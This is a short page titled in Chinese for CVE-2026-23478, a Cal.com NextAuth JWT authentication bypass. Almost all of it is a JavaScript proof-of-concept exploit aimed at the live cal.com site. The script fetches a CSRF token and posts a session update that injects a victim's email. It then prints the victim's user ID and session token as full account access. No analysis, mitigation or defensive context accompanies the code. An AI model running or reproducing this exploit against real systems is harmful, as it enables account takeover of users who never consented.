CVE-2026-23478 Cal.com NextAuth JWT认证绕过漏洞

import fetch from 'node-fetch'; // CVE-2026-23478 Proof of Concept // Cal.com NextAuth JWT Authentication Bypass const CALCOM_URL = 'https://cal.com'; const TARGET_EMAIL = '[email protected]'; async function exploit() { console.log('[*] Starting CVE-2026-23478 exploitation...'); console.log(`[*] Target: ${TARGET_EMAIL}`); // Step 1: Get CSRF token const csrfResp = await fetch(`${CALCOM_URL}/api/auth/csrf`); const csrfData = await csrfResp.json(); const csrfToken = csrfData.csrfToken; console.log(`[+] CSRF Token obtained: ${csrfToken}`); // Step 2: Create session with target email via session.update // The vulnerability allows arbitrary email injection const sessionUpdateResp = await fetch(`${CALCOM_URL}/api/auth/session`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'x-csrf-token': csrfToken }, body: JSON.stringify({ callbackUrl: `${CALCOM_URL}`, redirect: false, email: TARGET_EMAIL, // Malicious session update payload json: true }) }); const sessionData = await sessionUpdateResp.json(); console.log('[+] Session update response:', JSON.stringify(sessionData, null, 2)); // Step 3: If successful, we now have a JWT for the target user if (sessionData.user && sessionData.user.email === TARGET_EMAIL) { console.log('[+] SUCCESS: Full account access obtained!'); console.log(`[+] User ID: ${sessionData.user.id}`); console.log(`[+] Session Token: ${sessionData.accessToken}`); return sessionData; } else { console.log('[-] Exploitation failed - target may not exist or patched'); return null; } } exploit().catch(console.error);